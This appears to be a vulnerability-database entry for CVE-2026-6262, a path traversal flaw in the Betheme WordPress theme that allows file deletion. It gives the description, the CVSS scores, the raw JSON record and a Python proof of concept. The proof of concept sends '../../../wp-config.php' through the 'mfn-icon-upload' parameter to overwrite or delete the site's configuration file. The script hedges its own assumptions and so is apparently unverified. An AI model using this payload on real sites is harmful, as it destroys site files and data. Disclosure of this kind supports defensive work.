Security Vulnerability Report
中文
CVE-2026-6262 CVSS 6.5 MEDIUM

CVE-2026-6262

Published: 2026-05-05 12:16:22
Last Modified: 2026-05-05 19:08:20

Description

The Betheme theme for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 28.4. This is due to the upload_icons() function workflow using a user-controlled upload path (`mfn-icon-upload`) in a filesystem move operation without constraining it to the uploads directory. This makes it possible for authenticated attackers, with contributor-level access and above, to move/delete arbitrary local files via path traversal.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Betheme <= 28.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = 'http://target-site.com/wp-admin/admin-ajax.php' username = 'contributor' password = 'password' def login(): session = requests.Session() login_data = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin/', 'wp-submit': 'Log In' } session.post(f'{target_url.replace("admin-ajax.php", "wp-login.php")}', data=login_data) return session def exploit(session): # Vulnerable parameter: mfn-icon-upload # Attempt to delete a sensitive file by moving a dummy file to it (path traversal) payload = { 'action': 'upload_icons', 'mfn-icon-upload': '../../../wp-config.php' # Traversal to overwrite/delete } # Assuming a file is required to be uploaded to trigger the move, # normally a multipart/form-data upload is needed. files = {'file': ('exploit.txt', 'dummy content', 'text/plain')} response = session.post(target_url, data=payload, files=files) if response.status_code == 200: print(f"[+] Payload sent. Check if file is deleted/overwritten.") else: print(f"[-] Failed. Status code: {response.status_code}") if __name__ == "__main__": sess = login() exploit(sess)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6262", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:21.590", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Betheme theme for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 28.4. This is due to the upload_icons() function workflow using a user-controlled upload path (`mfn-icon-upload`) in a filesystem move operation without constraining it to the uploads directory. This makes it possible for authenticated attackers, with contributor-level access and above, to move/delete arbitrary local files via path traversal."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://support.muffingroup.com/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3486f114-5625-4751-a25e-2c5ab7b15b38?source=cve", "source": "[email protected]"}]}}